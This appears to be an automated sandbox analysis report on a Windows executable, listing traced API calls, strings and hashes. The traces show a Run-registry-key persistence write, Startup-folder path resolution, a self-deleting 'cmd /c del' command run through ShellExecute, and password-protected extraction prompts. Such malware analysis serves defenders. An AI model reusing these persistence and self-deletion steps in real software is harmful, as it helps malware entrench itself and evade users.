Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

WinClass32, xrefs: 0040103D, 0040109E, 004010A3
0, xrefs: 00401006

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: c6f244753a2bc84237680407939961650baec8381a8dcf39c5ba78c2ad2f1f46
Instruction ID: 47d6b7d35728adeecb0fde599aadb8774aba34f0bad3284053c57367e6fa7a97
Opcode Fuzzy Hash: c6f244753a2bc84237680407939961650baec8381a8dcf39c5ba78c2ad2f1f46
Instruction Fuzzy Hash: 7D210C70D41249AAEF10EFD0CC46BDDBFB8AB04708F20802AF200BA1E5D7B96655DB5C

Function 004010FB Relevance: 4.5, APIs: 3, Instructions: 30
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00009D99,00000000,00000000), ref: 00401128
DefWindowProcA.USER32(?,00000002,?,?), ref: 0040114E

Part of subcall function 004014CB: GetSystemDirectoryA.KERNEL32(C:\Windows\system32\,00001000), ref: 004014DC
Part of subcall function 004014CB: PathAddBackslashA.KERNELBASE(C:\Windows\system32\), ref: 004014E6
Part of subcall function 004014CB: GetWindowsDirectoryA.KERNEL32(00404450,00001000), ref: 004014F6
Part of subcall function 004014CB: PathAddBackslashA.SHLWAPI(00404450,00404450,00001000), ref: 00401500
Part of subcall function 004014CB: GetTempPathA.KERNEL32(00001000,00405450), ref: 00401510
Part of subcall function 004014CB: PathAddBackslashA.SHLWAPI(00405450,00001000,00405450), ref: 0040151A
Part of subcall function 004014CB: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\,00000200), ref: 0040152C
Part of subcall function 004014CB: PathFindFileNameA.SHLWAPI(C:\Users\user\Desktop\,00000000,C:\Users\user\Desktop\,00000200), ref: 00401536
Part of subcall function 004014CB: GetEnvironmentVariableA.KERNEL32(APPDATA,00407450,00001000), ref: 0040154E
Part of subcall function 004014CB: PathAddBackslashA.SHLWAPI(00407450,APPDATA,00407450,00001000), ref: 00401558
Part of subcall function 004014CB: SHGetSpecialFolderPathA.SHELL32(00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\,00000007,00000001), ref: 00401569
Part of subcall function 004014CB: PathAddBackslashA.SHLWAPI(C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\), ref: 00401574
Part of subcall function 004014CB: SHGetSpecialFolderPathA.SHELL32(00000000,00409450,00000010,00000001), ref: 00401585
Part of subcall function 004014CB: PathAddBackslashA.SHLWAPI(00409450), ref: 00401590
Part of subcall function 004014CB: FindResourceA.KERNEL32(00000000,00000001,0000000A), ref: 004015B4
Part of subcall function 004014CB: ExitProcess.KERNEL32(00000000,?,?,?,?,00410694,00000000,00406450,C0000000,00000003,00000000,00000002,00000080,00000000,00406450,00410060), ref: 00401A06

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: Path$Backslash$DirectoryFileFindFolderNameSpecial$EnvironmentExitMessageModuleProcProcessResourceSendSystemTempVariableWindowWindows
String ID:
API String ID: 3165515907-0
Opcode ID: 6e41b82b1a59110096b7f5e1eaf1704465141be8ffeca4895ea9e4f7652cdaec
Instruction ID: 0d19c5dcc5aa2c104d2bcf641a834dc402774fcf6836afafd324fc60c71b67c5
Opcode Fuzzy Hash: 6e41b82b1a59110096b7f5e1eaf1704465141be8ffeca4895ea9e4f7652cdaec
Instruction Fuzzy Hash: 0BF08C31240208B7CF25AE628C03B8A37629B04719F10C03BFB193C0F297BDE660DA5E

Non-executed Functions

Function 0040144A Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9990774af4119fa70ef41400092c50f263bdf1d164bc37f887e3c0d7a250b32
Instruction ID: 8fa38f81e8242696ce0cc31d39bb87820c0085d6c7506b9eb7d826ca0eb98f77
Opcode Fuzzy Hash: a9990774af4119fa70ef41400092c50f263bdf1d164bc37f887e3c0d7a250b32
Instruction Fuzzy Hash: 52C012B711004827DB089509D8429D6B798D6B5365718811BF906DE292E97CE941C5A4

Function 00401A10 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(0040D450), ref: 00401A15
lstrcatA.KERNEL32(0040D450,0040A450,0040D450), ref: 00401A24
lstrcatA.KERNEL32(0040D450," ",0040D450,0040A450,0040D450), ref: 00401A33
lstrcatA.KERNEL32(0040D450,0040B450,0040D450," ",0040D450,0040A450,0040D450), ref: 00401A42
lstrcatA.KERNEL32(0040D450," >> NUL,0040D450,0040B450,0040D450," ",0040D450,0040A450,0040D450), ref: 00401A51
ShellExecuteA.SHELL32(00000000,00000000,0040F450,0040D450,00000000,00000000), ref: 00401A68

Strings

" ", xrefs: 00401A29
" >> NUL, xrefs: 00401A47

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: lstrcat$ExecuteShelllstrcpy
String ID: " "$" >> NUL
API String ID: 742256116-2884213582
Opcode ID: f7b28a052863698766e7caa9bcc0667b7caf2ac5db88afa528486488b0d02c9d
Instruction ID: c67f771b86db4121d1babd1f488120d3e12b037d12f8b34daf4744ac84752cfb
Opcode Fuzzy Hash: f7b28a052863698766e7caa9bcc0667b7caf2ac5db88afa528486488b0d02c9d
Instruction Fuzzy Hash: 84E0A27CBC434935D81036E10F07F5965258B54F1DF32803BB245385EB5AFCB118A02E

Function 00401468 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00000000,00000000,000F003F,00000000,00410060,00000000), ref: 0040148B
lstrlenA.KERNEL32(Pd@`,00410660,0000000F), ref: 004014A0
RegSetValueExA.ADVAPI32(?,00410660,00000000,00000001,?,-00000001,Pd@`,00410660,0000000F), ref: 004014B8
RegCloseKey.ADVAPI32(?), ref: 004014C1

Strings

Pd@`, xrefs: 0040149D
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00401481

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: Pd@`$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 1356686001-3638029297
Opcode ID: 0815aa4abac9622c084a24d5d1959e099eae3d3f69ea637e4f878cb797079dd3
Instruction ID: 694becdac4f8bd3b9b7976167e3761c6cf6cdd6dc00f17d18d4396d85fea8140
Opcode Fuzzy Hash: 0815aa4abac9622c084a24d5d1959e099eae3d3f69ea637e4f878cb797079dd3
Instruction Fuzzy Hash: 5EF030717C0308BBFB215B90DC07FED7A29AB50B04F204031B701B80E6CAF55AA0A65D

Function 00401A92 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 17
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(0040F950,/c del ",004019F4,?,?,?,?,00410694,00000000,00406450,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 00401A9C
lstrcatA.KERNEL32(0040F950,0040B450,0040F950,/c del ",004019F4,?,?,?,?,00410694,00000000,00406450,C0000000,00000003,00000000,00000002), ref: 00401AAB
lstrcatA.KERNEL32(0040F950," >> NUL,0040F950,0040B450,0040F950,/c del ",004019F4,?,?,?,?,00410694,00000000,00406450,C0000000,00000003), ref: 00401ABA
ShellExecuteA.SHELL32(00000000,00000000,0040F450,0040F950,00000000,00000000), ref: 00401AD1

Strings

/c del ", xrefs: 00401A92
" >> NUL, xrefs: 00401AB0

Memory Dump Source

Source File: 00000000.00000002.1676806976.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676793353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676822719.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676862014.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676905599.0000000000411000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676977396.00000000004AB000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0zu73p2YBu.jbxd

Similarity

API ID: lstrcat$ExecuteShelllstrcpy
String ID: " >> NUL$/c del "
API String ID: 742256116-2706327707
Opcode ID: a1070831e0bea9541da9ac62f5628a9e4d215df999206135537e60c8682be13e
Instruction ID: 00c8236249b174e54b049ae4d3aed823565817e79cb25063840e3e3a81eaf472
Opcode Fuzzy Hash: a1070831e0bea9541da9ac62f5628a9e4d215df999206135537e60c8682be13e
Instruction Fuzzy Hash: 23D0E9B43C430735E83036510E07F9559154754F1AF31803BB305389F25AFCB108621D

Analysis Process: .exePID: 7332, Parent PID: 7292COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.6%
Total number of Nodes:	784
Total number of Limit Nodes:	4

Executed Functions

Function 00406960 Relevance: 7.6, APIs: 5, Instructions: 128
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,00000000,00000000), ref: 00406987
RtlAllocateHeap.NTDLL(00A40000,00000000,00001000), ref: 004069AA
ReadFile.KERNELBASE(00000000,00000000,00001000,?,00000000,?,?,00000000,00000000), ref: 004069CE
HeapFree.KERNEL32(00A40000,00000000,00000000,?,?,00000000,00000000), ref: 00406B05
CloseHandle.KERNELBASE(00000000,?,00000000,00000000), ref: 00406B0D

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateFreeHandleRead
String ID:
API String ID: 873069550-0
Opcode ID: 1357808eb39684694dda3eb8bae3d5a823f22cf334df4ffbb266c6879fa2417a
Instruction ID: 2c35df999285d4324d5b8a2bb6c6846afef495587d3451632d7a4ed779350fa2
Opcode Fuzzy Hash: 1357808eb39684694dda3eb8bae3d5a823f22cf334df4ffbb266c6879fa2417a
Instruction Fuzzy Hash: 55418B326403920BD3149F74ECDAB773760EB46301F09823AFB52A62D2D67DD514DB18

Function 00401000 Relevance: 77.7, APIs: 16, Strings: 28, Instructions: 662
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040100F
GetModuleHandleA.KERNEL32(00000000), ref: 0040101C
HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035

Part of subcall function 00407470: HeapCreate.KERNELBASE(00000001,00001000,00000000), ref: 0040747C
Part of subcall function 00407470: RtlAllocateHeap.NTDLL(00A30000,00000001,00004104), ref: 004074AA

Part of subcall function 00406807: HeapCreate.KERNELBASE(00000000,00000400,00000000,0040104E,00000000,00001000,00000000,00000000), ref: 00406810

Part of subcall function 00404AB3: LoadIconA.USER32(00000001,00000058), ref: 00404AE1
Part of subcall function 00404AB3: LoadCursorA.USER32(00000000,00007F00), ref: 00404AF3

Part of subcall function 004040E0: RtlInitializeCriticalSection.NTDLL(0040B40C), ref: 004040EA
Part of subcall function 004040E0: GetStockObject.GDI32(00000011), ref: 004040F2
Part of subcall function 004040E0: memset.MSVCRT ref: 0040412E

Part of subcall function 00403D90: HeapCreate.KERNELBASE(00000000,00001000,00000000,00401062,00000000,00001000,00000000,00000000), ref: 00403D99

Part of subcall function 0040393B: RtlInitializeCriticalSection.NTDLL(0040B3B8), ref: 00403950

Part of subcall function 00403694: 6F551CD0.COMCTL32(0040106C,00000000,00001000,00000000,00000000), ref: 00403694
Part of subcall function 00403694: CoInitialize.OLE32(00000000), ref: 0040369B

Part of subcall function 00403EF0: RtlAllocateHeap.NTDLL(00000000,0000002C), ref: 00403EFD

Part of subcall function 00403060: HeapFree.KERNEL32(00000000,00A412C8,00000000,004010A6,0040A380,0040B1AC,00000007,00000008,00000000,0040A388,00000007,00000000,00001000,00000000,00000000), ref: 00403091

Part of subcall function 004030A0: RtlAllocateHeap.NTDLL(00000008,-00000018,00000401), ref: 004030B5

Part of subcall function 00403DC0: RtlAllocateHeap.NTDLL(02460000,00000008,00000000), ref: 00403DD1

GetUserDefaultLangID.KERNEL32(00000008,00000400,00000008,0040A380,0040B1AC,00000007,00000008,00000000,0040A388,00000007,00000000,00001000,00000000,00000000), ref: 004010CF
VerLanguageNameA.KERNEL32(00000000,00000008,00000400,00000008,0040A380,0040B1AC,00000007,00000008,00000000,0040A388,00000007,00000000,00001000,00000000,00000000), ref: 004010D5
CharLowerA.USER32(00000000,00000008,00000400,00000008,0040A380,0040B1AC,00000007,00000008,00000000,0040A388,00000007,00000000,00001000,00000000,00000000), ref: 004010E0

Part of subcall function 00403E30: HeapFree.KERNEL32(02460000,00000000,00000000,00401113,00000000,00000000), ref: 00403E3E

GetModuleHandleA.KERNEL32(00000000,00000000,00000000), ref: 00401311

Part of subcall function 004074F0: strlen.MSVCRT ref: 00407503

Part of subcall function 00403A18: strncpy.MSVCRT ref: 00403A53

Part of subcall function 004036A2: MessageBoxA.USER32(00000000,00000010,00000000,?), ref: 004036BC

ExitProcess.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BA4
HeapDestroy.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BAF
ExitProcess.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BB4

Strings

Continue?, xrefs: 004011FF
Bitte geben Sie das Passwort ein., xrefs: 004011EA
Passwort, xrefs: 004011DA
Error!, xrefs: 0040120F
already exists in the current directory. Overwrite?, xrefs: 0040126F
Einige Include Dateien konnten nicht erstellt werden., xrefs: 0040114A
Bitte whlen Sie einen Ordner zum Speichern der Dateien aus., xrefs: 004011CA
Ein unbekannter Fehler ist aufgetreten. Das Programm wird beendet., xrefs: 004011AA
deutsch, xrefs: 00401119
Please enter the password., xrefs: 004012BF
The file , xrefs: 0040125F
Die Datei , xrefs: 0040118A
Can not create some of your include files., xrefs: 0040121F
Choose a location to save the files., xrefs: 0040129F
2, xrefs: 004012D6
An unknown error occured. The program will be terminated., xrefs: 0040127F
lB, xrefs: 004014E2
\BDFINOPS, xrefs: 00401A36
Password, xrefs: 004012AF
lB, xrefs: 004010BF, 0040139E, 00401443, 00401497, 004014C9, 00401711
lB, xrefs: 004014CE, 004014DD
Fehler!, xrefs: 0040113A
This program is not supported on this operating system., xrefs: 0040128F
Fortfahren?, xrefs: 0040112A
Can not allocate the memory., xrefs: 0040122F
Falsches Passwort., xrefs: 0040116A
Wrong password., xrefs: 0040123F
Overwrite?, xrefs: 0040124F

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Heap$AllocateCreate$Initialize$CriticalExitFreeHandleLoadModuleProcessSectionmemset$CharCursorDefaultDestroyF551IconLangLanguageLowerMessageNameObjectStockUserstrlenstrncpy
String ID: already exists in the current directory. Overwrite?$2$An unknown error occured. The program will be terminated.$Bitte geben Sie das Passwort ein.$Bitte whlen Sie einen Ordner zum Speichern der Dateien aus.$Can not allocate the memory.$Can not create some of your include files.$Choose a location to save the files.$Continue?$Die Datei $Ein unbekannter Fehler ist aufgetreten. Das Programm wird beendet.$Einige Include Dateien konnten nicht erstellt werden.$Error!$Falsches Passwort.$Fehler!$Fortfahren?$Overwrite?$Password$Passwort$Please enter the password.$The file $This program is not supported on this operating system.$Wrong password.$\BDFINOPS$deutsch$lB$lB$lB
API String ID: 286559185-4283426436
Opcode ID: b87e312f4a3ab50c574789bf58b01b54171b153885240daef0a9f98a2e0d008c
Instruction ID: 2bde32f427d2b7eddb3ed1bd728a16dca1821eacaa3ecb70a8e4e83947eaff11
Opcode Fuzzy Hash: b87e312f4a3ab50c574789bf58b01b54171b153885240daef0a9f98a2e0d008c
Instruction Fuzzy Hash: 01423E71250204ABD700BF61EE62E2A3B65FB48349F50403BFA407E2F6DB7959119B9E

Function 00405EB2 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00407750: RtlReAllocateHeap.NTDLL(00A30000,00000001,00A30700,000040FF), ref: 00407797

GetTempPathA.KERNEL32(00000104,00000000,00000104,004013B3,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 00405EC9
LoadLibraryA.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000,004013B3,OPS,00000000), ref: 00405ED6
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00405EE8
GetLongPathNameA.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000,004013B3), ref: 00405EF5
FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401BFC,00000000,00000000,00000400,00000000,00000000,00000000,00000000,004013B3,OPS,00000000), ref: 00405EFA

Strings

Kernel32.DLL, xrefs: 00405ECF
GetLongPathNameA, xrefs: 00405EE2

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: LibraryPath$AddressAllocateFreeHeapLoadLongNameProcTemp
String ID: GetLongPathNameA$Kernel32.DLL
API String ID: 752937943-822094646
Opcode ID: f2ba6410edf8bde28fa5554e8a9c22902d5f8ca1b7105de9d70a6170c437be0b
Instruction ID: 3562a466a888384f8ba7b5ae80b98f608e44e67bd8cf52f83c325266dc9a6611
Opcode Fuzzy Hash: f2ba6410edf8bde28fa5554e8a9c22902d5f8ca1b7105de9d70a6170c437be0b
Instruction Fuzzy Hash: 5CF0B4722012142BC32127755D4CF6F3A6CCB82751B04003AF944B2142CE7D5D1082BE

Function 00402761 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteEx.SHELL32(?), ref: 004027D9
Sleep.KERNEL32(00000019), ref: 004027E7
GetExitCodeProcess.KERNEL32(?,?), ref: 004027F8

Strings

open, xrefs: 004027B8

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CodeExecuteExitProcessShellSleep
String ID: open
API String ID: 3887608683-2758837156
Opcode ID: 52a67e558ad29990cc8f225169e9bbe56d7f2f31611fe38e94e8209ad79b84ad
Instruction ID: 26639f79705cc0b5153d4f828301450fc79178279bf791e28a5e3737258c8c49
Opcode Fuzzy Hash: 52a67e558ad29990cc8f225169e9bbe56d7f2f31611fe38e94e8209ad79b84ad
Instruction Fuzzy Hash: 41216A71008209AFC700EF15C845A9FBBE8FB84304F00883EF598662D0D779EA15CB56

Function 00406330 Relevance: 6.1, APIs: 4, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,?,00000000,00000001,?,?,?,00406298,00000000,?,?,?,00A405B8,00000000), ref: 00406352
memcpy.MSVCRT(?,?,00000000,?,?,?,00406298,00000000,?,?,?,00A405B8,00000000,?,?,00401A7B), ref: 00406390

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: FilePointermemcpy
String ID:
API String ID: 1104741977-0
Opcode ID: 871ba12d0a710b8b10be5d67f70c539bcef7555e48d6414b570282c5163502cc
Instruction ID: f3a8af50231a035adb1325dfd7a6e35cec90defb10c0b62dd41d6b31aad5b5db
Opcode Fuzzy Hash: 871ba12d0a710b8b10be5d67f70c539bcef7555e48d6414b570282c5163502cc
Instruction Fuzzy Hash: 09316C763006009FC224DF2AD448E5BF7E9EFD4321F14C82EE69697B90C634E854CBA6

Function 004015DD Relevance: 6.0, APIs: 4, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_rmdir.MSVCRT ref: 004015CB
_rmdir.MSVCRT ref: 004016EB
ExitProcess.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BA4
HeapDestroy.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BAF
ExitProcess.KERNEL32(00000001,00000010,OPS,00000000,00000000,00000000), ref: 00401BB4

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

